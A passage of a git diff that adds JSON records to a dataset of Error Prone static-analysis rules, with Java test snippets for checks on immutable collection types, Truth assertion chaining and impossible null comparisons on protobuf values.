77 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n class Test {\n private final List myList;\n private List doNotTouchThisList;\n\n Test() {\n myList = ImmutableList.of(\"a\");\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n class Test {\n private final ImmutableList myList;\n private List doNotTouchThisList;\n\n Test() {\n myList = ImmutableList.of(\"a\");\n }\n }" + }, + { + "description": "listInitInline_bindAnnotation_doesNothing", + "expected-problems": null, + "expected-linenumbers": [ + 113 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.inject.testing.fieldbinder.Bind;\n import java.util.List;\n\n class Test {\n @Bind private final List myList = ImmutableList.of(\"a\");\n }" + }, + { + "description": "setInit_mutableTypeInConstructor_mutated_doesNothing", + "expected-problems": null, + "expected-linenumbers": [ + 131 + ], + "code": "import java.util.Set;\n import java.util.HashSet;\n\n class Test {\n private final Set mySet;\n\n Test() {\n mySet = new HashSet<>();\n }\n\n private void myFunc() {\n mySet.add(\"myString\");\n }\n }" + }, + { + "description": "setInit_mutableTypeInConstructor_returnedAsIs_doesNothing", + "expected-problems": null, + "expected-linenumbers": [ + 156 + ], + "code": "import java.util.Set;\n import java.util.HashSet;\n\n class Test {\n private final Set mySet = new HashSet();\n\n private Set myFunc() {\n return mySet;\n }\n }" + }, + { + "description": "setInit_mutableTypeInConstructor_returnedInConditional_doesNothing", + "expected-problems": null, + "expected-linenumbers": [ + 177 + ], + "code": "import java.util.Set;\n import java.util.HashSet;\n\n class Test {\n private final Set mySet = new HashSet();\n\n private Set myFunc() {\n return 1 > 2 ? new HashSet() : mySet;\n }\n }" + }, + { + "description": "setInit_mutableTypeInStaticBlock_mutated_doesNothing", + "expected-problems": null, + "expected-linenumbers": [ + 198 + ], + "code": "import java.util.Set;\n import java.util.HashSet;\n\n class Test {\n private static final Set mySet;\n\n static {\n mySet = new HashSet<>();\n }\n\n private static void myFunc() {\n mySet.add(\"myString\");\n }\n }" + }, + { + "description": "setInit_mutableTypeInStaticBlock_passedToAnotherFunction_doesNothing", + "expected-problems": null, + "expected-linenumbers": [ + 223 + ], + "code": "import java.util.Set;\n import java.util.HashSet;\n\n class Test {\n private static final Set mySet;\n\n static {\n mySet = new HashSet<>();\n }\n\n private static void myFunc() {\n System.out.println(mySet);\n }\n }" + }, + { + "description": "listInitWithMutableType_notMutated_replacesTypeAndMakesDefensiveCopy", + "expected-problems": null, + "expected-linenumbers": [ + 248 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.List;\n import java.util.ArrayList;\n\n class Test {\n private final List myList1 = new ArrayList<>();\n private final List myList2;\n\n Test() {\n myList2 = new ArrayList<>();\n }\n\n Test(String x) {\n myList2 = ImmutableList.of(x);\n }\n }\n \n\nimport com.google.common.collect.ImmutableList;\nimport java.util.List;\nimport java.util.ArrayList;\n\nclass Test {\n private final ImmutableList myList1 = ImmutableList.copyOf(new ArrayList<>());\n private final ImmutableList myList2;\n\n Test() {\n myList2 = ImmutableList.copyOf(new ArrayList<>());\n }\n\n Test(String x) {\n myList2 = ImmutableList.of(x);\n }\n}" + }, + { + "description": "listInitWithMutableType_invokesReadOnlyMethods_replacesTypeAndMakesDefensiveCopy", + "expected-problems": null, + "expected-linenumbers": [ + 294 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n private final List myList = new ArrayList<>();\n\n private String myFunc() {\n return myList.get(0);\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n private final ImmutableList myList = ImmutableList.copyOf(new ArrayList<>());\n\n private String myFunc() {\n return myList.get(0);\n }\n }" + }, + { + "description": "setMutation_thisReference_doesNothing", + "expected-problems": null, + "expected-linenumbers": [ + 329 + ], + "code": "import com.google.common.collect.ImmutableSet;\n import java.util.Set;\n import java.util.HashSet;\n\n class Test {\n private final ImmutableSet mySet;\n\n Test() {\n mySet = ImmutableSet.of();\n }\n\n private static final class Builder {\n private final Set mySet = new HashSet<>();\n\n public void addString(String x) {\n this.mySet.add(x);\n }\n }\n }" + }, + { + "description": "setInNestedClassMutationInParent_doesNothing", + "expected-problems": null, + "expected-linenumbers": [ + 359 + ], + "code": "import com.google.common.collect.ImmutableSet;\n import java.util.Set;\n import java.util.HashSet;\n\n class Test {\n public void addString(String x) {\n NestedTest nested = new NestedTest();\n nested.mySet.add(x);\n }\n\n private static final class NestedTest {\n private final Set mySet = new HashSet<>();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ImmutableSetForContains.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ImmutableSetForContains.json new file mode 100644 index 0000000..d8929da --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ImmutableSetForContains.json @@ -0,0 +1,166 @@ +{ + "name": "ImmutableSetForContains", + "language": "java", + "description": "This private static ImmutableList is only used for contains, containsAll or isEmpty checks; prefer ImmutableSet.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 246, + "branches": 21, + "apis": 5, + "test": [ + { + "description": "immutableListOf_onlyContainsReplaces", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import static com.google.common.collect.ImmutableList.toImmutableList;\n import com.google.common.collect.ImmutableList;\n import java.util.ArrayList;\n\n class Test {\n private static final ImmutableList MY_LIST_1 =\n ImmutableList.builder().add(\"hello\").build();\n private static final ImmutableList MY_LIST_2 = ImmutableList.of(\"hello\");\n private static final ImmutableList MY_LIST_3 =\n new ArrayList().stream().collect(toImmutableList());\n private static final ImmutableList MY_LIST_4 =\n new ImmutableList.Builder().add(\"hello\").build();\n\n private void myFunc() {\n boolean myBool1 = MY_LIST_1.contains(\"he\");\n boolean myBool2 = MY_LIST_2.containsAll(new ArrayList());\n boolean myBool3 = MY_LIST_3.isEmpty();\n boolean myBool4 = MY_LIST_4.isEmpty();\n }\n }\n \n\n import static com.google.common.collect.ImmutableList.toImmutableList;\n import static com.google.common.collect.ImmutableSet.toImmutableSet;\n import com.google.common.collect.ImmutableList;\n import com.google.common.collect.ImmutableSet;\n import java.util.ArrayList;\n\n class Test {\n private static final ImmutableSet MY_LIST_1 =\n ImmutableSet.builder().add(\"hello\").build();\n private static final ImmutableSet MY_LIST_2 = ImmutableSet.of(\"hello\");\n private static final ImmutableSet MY_LIST_3 =\n new ArrayList().stream().collect(toImmutableSet());\n private static final ImmutableSet MY_LIST_4 =\n new ImmutableSet.Builder().add(\"hello\").build();\n\n private void myFunc() {\n boolean myBool1 = MY_LIST_1.contains(\"he\");\n boolean myBool2 = MY_LIST_2.containsAll(new ArrayList());\n boolean myBool3 = MY_LIST_3.isEmpty();\n boolean myBool4 = MY_LIST_4.isEmpty();\n }\n }" + }, + { + "description": "immutableList_initUsingStaticFunc_replacesWithCopyOf", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "import static com.google.common.collect.ImmutableList.toImmutableList;\n import com.google.common.collect.ImmutableList;\n import java.util.ArrayList;\n\n class Test {\n private static final ImmutableList MY_LIST = initMyList();\n\n private static ImmutableList initMyList() {\n return ImmutableList.of();\n }\n\n private void myFunc() {\n boolean myBool = MY_LIST.contains(\"he\");\n }\n }\n \n\nimport static com.google.common.collect.ImmutableList.toImmutableList;\nimport com.google.common.collect.ImmutableList;\nimport com.google.common.collect.ImmutableSet;\nimport java.util.ArrayList;\n\nclass Test {\n private static final ImmutableSet MY_LIST = ImmutableSet.copyOf(initMyList());\n\n private static ImmutableList initMyList() {\n return ImmutableList.of();\n }\n\n private void myFunc() {\n boolean myBool = MY_LIST.contains(\"he\");\n }\n}" + }, + { + "description": "immutableList_rawType_replacesWithImmutableSet", + "expected-problems": null, + "expected-linenumbers": [ + 131 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.ArrayList;\n\n class Test {\n private static final ImmutableList MY_LIST = ImmutableList.of(\"hello\");\n\n private void myFunc() {\n boolean myBool = MY_LIST.contains(\"he\");\n }\n }\n \n\n import com.google.common.collect.ImmutableList;\n import com.google.common.collect.ImmutableSet;\n import java.util.ArrayList;\n\n class Test {\n private static final ImmutableSet MY_LIST = ImmutableSet.of(\"hello\");\n\n private void myFunc() {\n boolean myBool = MY_LIST.contains(\"he\");\n }\n }" + }, + { + "description": "fieldAnnotatedWithBind_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 166 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.inject.testing.fieldbinder.Bind;\n import java.util.ArrayList;\n\n class Test {\n @Bind private static final ImmutableList MY_LIST = ImmutableList.of(\"hello\");\n\n private void myFunc() {\n boolean myBool = MY_LIST.contains(\"he\");\n }\n }" + }, + { + "description": "immutableVarPassedToAFunc_doesNothing", + "expected-problems": null, + "expected-linenumbers": [ + 188 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n class Test {\n private static final ImmutableList MY_LIST = ImmutableList.of(\"hello\");\n\n private void myFunc() {\n consumer(MY_LIST);\n }\n\n private void consumer(ImmutableList arg) {}\n }" + }, + { + "description": "immutableList_uniqueElements_iterating_negative", + "expected-problems": null, + "expected-linenumbers": [ + 210 + ], + "code": "import static com.sun.source.tree.Tree.Kind.METHOD_INVOCATION;\n import com.google.common.collect.ImmutableList;\n import com.sun.source.tree.Tree.Kind;\n import java.util.ArrayList;\n\n class Test {\n private static final ImmutableList STR_LIST = ImmutableList.of(\"hello\");\n private static final ImmutableList ENUM_LIST =\n ImmutableList.of(Kind.AND, METHOD_INVOCATION);\n\n private void myFunc() {\n STR_LIST.stream().forEach(System.out::println);\n STR_LIST.forEach(System.out::println);\n ENUM_LIST.stream().forEach(System.out::println);\n ENUM_LIST.forEach(System.out::println);\n for (String myStr : STR_LIST) {\n System.out.println(myStr);\n }\n for (Kind myKind : ENUM_LIST) {\n System.out.println(myKind);\n }\n for (Long lvar : ImmutableList.of(2L)) {\n System.out.println(lvar);\n }\n ImmutableList longList = ImmutableList.of(1L);\n for (Long lvar : longList) {\n System.out.println(lvar);\n }\n }\n }" + }, + { + "description": "immutableList_duplicateElements_iterating_doesNotReplace", + "expected-problems": null, + "expected-linenumbers": [ + 251 + ], + "code": "import com.google.common.collect.ImmutableList;\nimport java.util.ArrayList;\n\nclass Test {\n private static final ImmutableList STR_LIST_1 = ImmutableList.of(\"hello\", \"hello\");\n private static final ImmutableList STR_LIST_2 = ImmutableList.of(\"hello\", strGenFunc());\n\n private void myFunc() {\n STR_LIST_1.stream().forEach(System.out::println);\n STR_LIST_2.stream().forEach(System.out::println);\n }\n\n private static String strGenFunc() {\n return \"\";\n }\n}" + }, + { + "description": "immutableList_distinctElementsInBuilder_iterating_doesNotReplace", + "expected-problems": null, + "expected-linenumbers": [ + 278 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.ArrayList;\n\n class Test {\n private static final ImmutableList STR_LIST =\n ImmutableList.builder().add(\"hello\").build();\n\n private void myFunc() {\n STR_LIST.stream().forEach(System.out::println);\n }\n }" + }, + { + "description": "immutableList_passedToFunctionsAcceptingSet_negative", + "expected-problems": null, + "expected-linenumbers": [ + 300 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.common.collect.ImmutableSet;\n import com.google.common.collect.Iterables;\n import java.util.ArrayList;\n\n class Test {\n private static final ImmutableList MY_LIST = ImmutableList.of(\"hello\");\n\n private void myFunc() {\n ImmutableSet mySet = ImmutableSet.copyOf(MY_LIST);\n String onlyElement = Iterables.getOnlyElement(MY_LIST);\n }\n }" + }, + { + "description": "immutableList_passedToGenericFunctionAcceptingList_doesNothing", + "expected-problems": null, + "expected-linenumbers": [ + 324 + ], + "code": "import com.google.common.collect.ImmutableList;\n import com.google.common.collect.ImmutableMap;\n import com.google.common.collect.ImmutableSet;\n import com.google.common.collect.Iterables;\n import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n private static final ImmutableList MY_LIST_1 = ImmutableList.of(\"hello\");\n private static final ImmutableList MY_LIST_2 = ImmutableList.of(\"hello\");\n\n private void myFunc() {\n ImmutableMap> myMap =\n ImmutableMap.>builder().put(\"a\", MY_LIST_1).build();\n boolean myBool = ImmutableList.of().equals(MY_LIST_2);\n }\n }" + }, + { + "description": "immutableList_uniqueElements_inLoopExprAndStatement_doesNothing", + "expected-problems": null, + "expected-linenumbers": [ + 352 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n class Test {\n private static final ImmutableList MY_LIST = ImmutableList.of(\"hello\");\n\n private void myFunc() {\n for (String myStr : MY_LIST) {\n System.out.println(MY_LIST.indexOf(myStr));\n }\n }\n }" + }, + { + "description": "immutableListInNestedClass_usedInParentClass_negative", + "expected-problems": null, + "expected-linenumbers": [ + 374 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n class Test {\n private static final class Nested {\n private static final ImmutableList MY_LIST_1 = ImmutableList.of(\"a\");\n private static final ImmutableList MY_LIST_2 = ImmutableList.of(\"b\");\n }\n\n private void myFunc() {\n String one = Nested.MY_LIST_1.get(0);\n String two = Nested.MY_LIST_2.iterator().next();\n }\n }" + }, + { + "description": "twoImmutableListsUsedInSameMethodInvocation_negative", + "expected-problems": null, + "expected-linenumbers": [ + 398 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.ArrayList;\n\n class Test {\n private static final ImmutableList MY_LIST_1 = ImmutableList.of(\"hello\");\n private static final ImmutableList MY_LIST_2 = ImmutableList.of(\"world\");\n\n private void myFunc() {\n MY_LIST_1.forEach(elem -> System.out.println(MY_LIST_2.get(0)));\n }\n }" + }, + { + "description": "listOfClassOrDistinctInstances_uniqueElements_iterating_negative", + "expected-problems": null, + "expected-linenumbers": [ + 420 + ], + "code": "import static com.sun.source.tree.Tree.Kind.METHOD_INVOCATION;\n import com.google.common.collect.ImmutableList;\n import com.sun.source.tree.Tree.Kind;\n import java.util.ArrayList;\n\n class Test {\n private static final ImmutableList> CLS_LIST =\n ImmutableList.of(Long.class, Double.class);\n private static final ImmutableList OBJ_LIST =\n ImmutableList.of(new String(\"\"), new Object());\n\n private void myFunc() {\n CLS_LIST.stream().forEach(System.out::println);\n OBJ_LIST.forEach(System.out::println);\n }\n }" + }, + { + "description": "immutableListGetInVarArg_doesNothing", + "expected-problems": null, + "expected-linenumbers": [ + 447 + ], + "code": "import com.google.common.collect.ImmutableList;\n import java.util.ArrayList;\n\n class Test {\n private static final ImmutableList MY_LIST = ImmutableList.of(\"hello\");\n\n private String myFunc() {\n return String.format(\"%s\", MY_LIST.get(0));\n }\n }" + }, + { + "description": "suppressionOnVariableTree_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 468 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n class Test {\n @SuppressWarnings(\"ImmutableSetForContains\")\n private static final ImmutableList MY_LIST_1 =\n ImmutableList.builder().add(\"hello\").build();\n\n private void myFunc() {\n boolean myBool1 = MY_LIST_1.contains(\"he\");\n }\n }" + }, + { + "description": "bothGetDisallowedAndContainsAllowed_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 490 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n class Test {\n private static final ImmutableList MY_LIST_1 = ImmutableList.of(\"hello\");\n\n private void myFunc() {\n String myString = MY_LIST_1.get(0);\n boolean myBool1 = MY_LIST_1.contains(\"he\");\n }\n }" + }, + { + "description": "bothContainsAllowedAndGetDisallowed_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 511 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n class Test {\n private static final ImmutableList MY_LIST_1 = ImmutableList.of(\"hello\");\n\n private void myFunc() {\n boolean myBool1 = MY_LIST_1.contains(\"he\");\n String myString = MY_LIST_1.get(0);\n }\n }" + }, + { + "description": "unusedVariable_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 532 + ], + "code": "import com.google.common.collect.ImmutableList;\n\n class Test {\n private static final ImmutableList MY_LIST = ImmutableList.of(\"hello\");\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ImplementAssertionWithChaining.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ImplementAssertionWithChaining.json new file mode 100644 index 0000000..ac74b4a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ImplementAssertionWithChaining.json @@ -0,0 +1,30 @@ +{ + "name": "ImplementAssertionWithChaining", + "language": "java", + "description": "Prefer check(...), which usually generates more readable failure messages.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 242, + "branches": 34, + "apis": 6, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.common.truth.FailureMetadata;\nimport com.google.common.truth.Subject;\n\n/**\n * @author cpovirk@google.com (Chris Povirk)\n */\npublic class ImplementAssertionWithChainingPositiveCases {\n static final class FooSubject extends Subject {\n private final Foo actual;\n\n private FooSubject(FailureMetadata metadata, Foo actual) {\n super(metadata, actual);\n this.actual = actual;\n }\n\n void hasString(String expected) {\n // BUG: Diagnostic contains: check(\"string()\").that(actual.string()).isEqualTo(expected)\n if (!actual.string().equals(expected)) {\n failWithActual(\"expected to have string\", expected);\n }\n }\n\n void hasStringGuavaObjectsEqual(String expected) {\n // BUG: Diagnostic contains: check(\"string()\").that(actual.string()).isEqualTo(expected)\n if (!com.google.common.base.Objects.equal(actual.string(), expected)) {\n failWithActual(\"expected to have string\", expected);\n }\n }\n\n void hasStringJavaObjectsEquals(String expected) {\n // BUG: Diagnostic contains: check(\"string()\").that(actual.string()).isEqualTo(expected)\n if (!java.util.Objects.equals(actual.string(), expected)) {\n failWithActual(\"expected to have string\", expected);\n }\n }\n\n void hasInteger(int expected) {\n // BUG: Diagnostic contains: check(\"integer()\").that(actual.integer()).isEqualTo(expected)\n if (actual.integer() != expected) {\n failWithActual(\"expected to have integer\", expected);\n }\n }\n\n void hasKind(Kind expected) {\n // BUG: Diagnostic contains: check(\"kind()\").that(actual.kind()).isEqualTo(expected)\n if (actual.kind() != expected) {\n failWithActual(\"expected to have kind\", expected);\n }\n }\n\n void hasOtherFooInteger(int expected) {\n // BUG: Diagnostic contains:\n // check(\"otherFoo().integer()\").that(actual.otherFoo().integer()).isEqualTo(expected)\n if (actual.otherFoo().integer() != expected) {\n failWithActual(\"expected to have other foo with integer\", expected);\n }\n }\n }\n\n private static final class Foo {\n final String string;\n final int integer;\n final Kind kind;\n\n Foo(String string, int integer, Kind kind) {\n this.string = string;\n this.integer = integer;\n this.kind = kind;\n }\n\n String string() {\n return string;\n }\n\n int integer() {\n return integer;\n }\n\n Kind kind() {\n return kind;\n }\n\n Foo otherFoo() {\n return this;\n }\n }\n\n private enum Kind {}\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 133 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import com.google.common.truth.FailureMetadata;\n import com.google.common.truth.Subject;\n\n /**\n * @author cpovirk@google.com (Chris Povirk)\n */\n public class ImplementAssertionWithChainingNegativeCases {\n static final class FooSubject extends Subject {\n private final Foo actual;\n\n private FooSubject(FailureMetadata metadata, Foo actual) {\n super(metadata, actual);\n this.actual = actual;\n }\n\n void doesNotHaveString(String other) {\n if (actual.string().equals(other)) {\n failWithActual(\"expected not to have string\", other);\n }\n }\n\n void doesNotHaveInteger(int other) {\n if (actual.integer() == other) {\n failWithActual(\"expected not to have integer\", other);\n }\n }\n\n void hasBoxedIntegerSameInstance(Integer expected) {\n if (actual.boxedInteger() != expected) {\n failWithActual(\"expected to have boxed integer\", expected);\n }\n }\n }\n\n private static final class Foo {\n final String string;\n final int integer;\n final Integer boxedInteger;\n\n Foo(String string, int integer, Integer boxedInteger) {\n this.string = string;\n this.integer = integer;\n this.boxedInteger = boxedInteger;\n }\n\n String string() {\n return string;\n }\n\n int integer() {\n return integer;\n }\n\n Integer boxedInteger() {\n return boxedInteger;\n }\n\n Foo otherFoo() {\n return this;\n }\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ImpossibleNullComparison.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ImpossibleNullComparison.json new file mode 100644 index 0000000..b0315a2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ImpossibleNullComparison.json @@ -0,0 +1,222 @@ +{ + "name": "ImpossibleNullComparison", + "language": "java", + "description": "This value cannot be null, and comparing it to null may be misleading.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 619, + "branches": 45, + "apis": 8, + "test": [ + { + "description": "scalarCases", + "expected-problems": null, + "expected-linenumbers": [ + 38 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n class Test {\n void test() {\n TestProtoMessage message = TestProtoMessage.newBuilder().build();\n // BUG: Diagnostic contains: message.hasMessage()\n if (message.getMessage() != null) {}\n // BUG: Diagnostic contains: !message.hasMessage()\n if (message.getMessage() == null) {}\n // BUG: Diagnostic contains: message.hasMessage()\n if (null != message.getMessage()) {}\n // BUG: Diagnostic contains: message.getMessage().hasField()\n if (message.getMessage().getField() != null) {}\n }\n }" + }, + { + "description": "listCases", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n\n class Test {\n void test() {\n TestProtoMessage message = TestProtoMessage.newBuilder().build();\n TestFieldProtoMessage field = message.getMessage();\n // BUG: Diagnostic contains: !message.getMultiFieldList().isEmpty()\n if (message.getMultiFieldList() != null) {}\n // BUG: Diagnostic contains: message.getMultiFieldList().isEmpty()\n if (null == message.getMultiFieldList()) {}\n // BUG: Diagnostic contains: message.getMultiFieldCount() > 1\n if (message.getMultiField(1) != null) {}\n // BUG: Diagnostic contains: message.getMultiFieldCount() <= 1\n if (message.getMultiField(1) == null) {}\n }\n }" + }, + { + "description": "intermediateVariable", + "expected-problems": null, + "expected-linenumbers": [ + 90 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import java.util.List;\n\n class Test {\n void test() {\n TestProtoMessage message = TestProtoMessage.newBuilder().build();\n TestFieldProtoMessage field = message.getMessage();\n List fields = message.getMultiFieldList();\n // BUG: Diagnostic contains: message.hasMessage()\n if (field != null) {}\n // BUG: Diagnostic contains: !message.getMultiFieldList().isEmpty()\n if (fields != null) {}\n }\n }" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 115 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n class Test {\n public void test() {\n TestProtoMessage message = TestProtoMessage.newBuilder().build();\n Object object = new Object();\n if (message.getMessage() != object) {}\n if (object != message.getMessage()) {}\n if (message.getMessage().getField() != object) {}\n if (message.getMultiFieldList() != object) {}\n if (object == message.getMultiFieldList()) {}\n }\n }" + }, + { + "description": "proto3", + "expected-problems": null, + "expected-linenumbers": [ + 138 + ], + "code": "import com.google.errorprone.bugpatterns.proto.Proto3Test.TestProto3Message;\n\n public class TestProto3 {\n public boolean doIt(TestProto3Message proto3Message) {\n // BUG: Diagnostic matches: NO_FIX\n return proto3Message.getMyString() == null;\n }\n }" + }, + { + "description": "messageOrBuilderGetField", + "expected-problems": null, + "expected-linenumbers": [ + 157 + ], + "code": "import com.google.protobuf.Descriptors.FieldDescriptor;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n public class Test {\n public boolean doIt(TestProtoMessage mob, FieldDescriptor f) {\n // BUG: Diagnostic contains:\n return mob.getField(f) == null;\n }\n }" + }, + { + "description": "messageOrBuilderGetFieldCast", + "expected-problems": null, + "expected-linenumbers": [ + 176 + ], + "code": "import com.google.protobuf.Descriptors.FieldDescriptor;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n public class Test {\n public boolean doIt(TestProtoMessage mob, FieldDescriptor f) {\n String s = ((String) mob.getField(f));\n // BUG: Diagnostic contains:\n return s == null;\n }\n }" + }, + { + "description": "extendableMessageGetExtension1param", + "expected-problems": null, + "expected-linenumbers": [ + 196 + ], + "code": "import static org.junit.Assert.assertNotNull;\n import com.google.protobuf.ExtensionLite;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n public class Test {\n public void test(TestProtoMessage e, ExtensionLite extensionLite) {\n // BUG: Diagnostic contains:\n boolean a = e.getExtension(extensionLite) == null;\n // BUG: Diagnostic contains:\n assertNotNull(e.getExtension(extensionLite));\n }\n }" + }, + { + "description": "messageOrBuilderGetRepeatedField", + "expected-problems": null, + "expected-linenumbers": [ + 218 + ], + "code": "import com.google.protobuf.Descriptors.FieldDescriptor;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n public class Test {\n public void doIt(TestProtoMessage mob, FieldDescriptor f) {\n // BUG: Diagnostic contains:\n boolean a = mob.getRepeatedField(f, 0) == null;\n }\n }" + }, + { + "description": "extendableMessageGetExtension2param", + "expected-problems": null, + "expected-linenumbers": [ + 237 + ], + "code": "import com.google.protobuf.ExtensionLite;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n public class Test {\n public void test(TestProtoMessage e, ExtensionLite extensionLite) {\n // BUG: Diagnostic contains:\n boolean a = e.getExtension(extensionLite, 0) == null;\n }\n }" + }, + { + "description": "repeated", + "expected-problems": null, + "expected-linenumbers": [ + 256 + ], + "code": "import com.google.protobuf.ExtensionLite;\nimport com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\nimport com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\nimport java.util.List;\n\npublic class Test {\n public void test(\n ExtensionLite> e, TestProtoMessage message) {\n // BUG: Diagnostic contains:\n boolean y = message.getExtension(e) == null;\n }\n}" + }, + { + "description": "repeated2", + "expected-problems": null, + "expected-linenumbers": [ + 278 + ], + "code": "import com.google.protobuf.Extension.MessageType;\n import com.google.protobuf.ExtensionLite;\n import com.google.protobuf.GeneratedMessage;\n import com.sun.tools.javac.code.Type;\n import com.google.common.collect.ImmutableList;\n import java.util.List;\n\n public class Test {\n public static <\n MessageType extends GeneratedMessage.ExtendableMessage,\n Type extends GeneratedMessage>\n List getRepeatedExtensionObjects(\n GeneratedMessage.ExtendableMessage mob,\n ExtensionLite> extension) {\n ImmutableList.Builder extensionList = ImmutableList.builder();\n int extensionCount = mob.getExtensionCount(extension);\n for (int extensionIndex = 0; extensionIndex < extensionCount; ++extensionIndex) {\n // BUG: Diagnostic contains:\n boolean y = mob.getExtension(extension) == null;\n extensionList.add(mob.getExtension(extension));\n }\n return extensionList.build();\n }\n }" + }, + { + "description": "preconditions", + "expected-problems": null, + "expected-linenumbers": [ + 313 + ], + "code": "import static com.google.common.base.Preconditions.checkNotNull;\n import static com.google.common.base.Verify.verifyNotNull;\n import static java.util.Objects.requireNonNull;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import java.util.List;\n\n class Test {\n void test() {\n TestProtoMessage message = TestProtoMessage.newBuilder().build();\n TestFieldProtoMessage field = message.getMessage();\n // BUG: Diagnostic contains: This value cannot be null\n // remove this line\n checkNotNull(field);\n // BUG: Diagnostic contains: This value cannot be null\n // remove this line\n checkNotNull(message.getMessage());\n // BUG: Diagnostic contains: This value cannot be null\n // remove this line\n verifyNotNull(message.getMessage());\n // BUG: Diagnostic contains: This value cannot be null\n // remove this line\n checkNotNull(message.getMultiFieldList());\n // BUG: Diagnostic contains: This value cannot be null\n // remove this line\n checkNotNull(message.getMessage(), new Object());\n // BUG: Diagnostic contains: This value cannot be null\n // remove this line\n checkNotNull(message.getMultiFieldList(), new Object());\n // BUG: Diagnostic contains: This value cannot be null\n // remove this line\n checkNotNull(message.getMessage(), \"%s\", new Object());\n // BUG: Diagnostic contains: This value cannot be null\n // remove this line\n checkNotNull(message.getMultiFieldList(), \"%s\", new Object());\n // BUG: Diagnostic contains: fieldMessage = message.getMessage();\n TestFieldProtoMessage fieldMessage = checkNotNull(message.getMessage());\n // BUG: Diagnostic contains: fieldMessage2 = message.getMessage()\n TestFieldProtoMessage fieldMessage2 = checkNotNull(message.getMessage(), \"M\");\n // BUG: Diagnostic contains: message.getMessage().toString();\n checkNotNull(message.getMessage()).toString();\n // BUG: Diagnostic contains: message.getMessage().toString();\n checkNotNull(message.getMessage(), \"Message\").toString();\n // BUG: Diagnostic contains: TestFieldProtoMessage fieldCopy = field;\n TestFieldProtoMessage fieldCopy = requireNonNull(field);\n }\n }" + }, + { + "description": "assertions", + "expected-problems": null, + "expected-linenumbers": [ + 370 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.assertNotNull;\n import com.google.common.truth.extensions.proto.ProtoTruth;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import java.util.List;\n\n class Test {\n void test() {\n TestProtoMessage message = TestProtoMessage.newBuilder().build();\n TestFieldProtoMessage field = message.getMessage();\n // BUG: Diagnostic contains: assertTrue(\"Message\", message.hasMessage());\n assertNotNull(\"Message\", message.getMessage());\n // BUG: Diagnostic contains: assertThat(message.hasMessage()).isTrue()\n 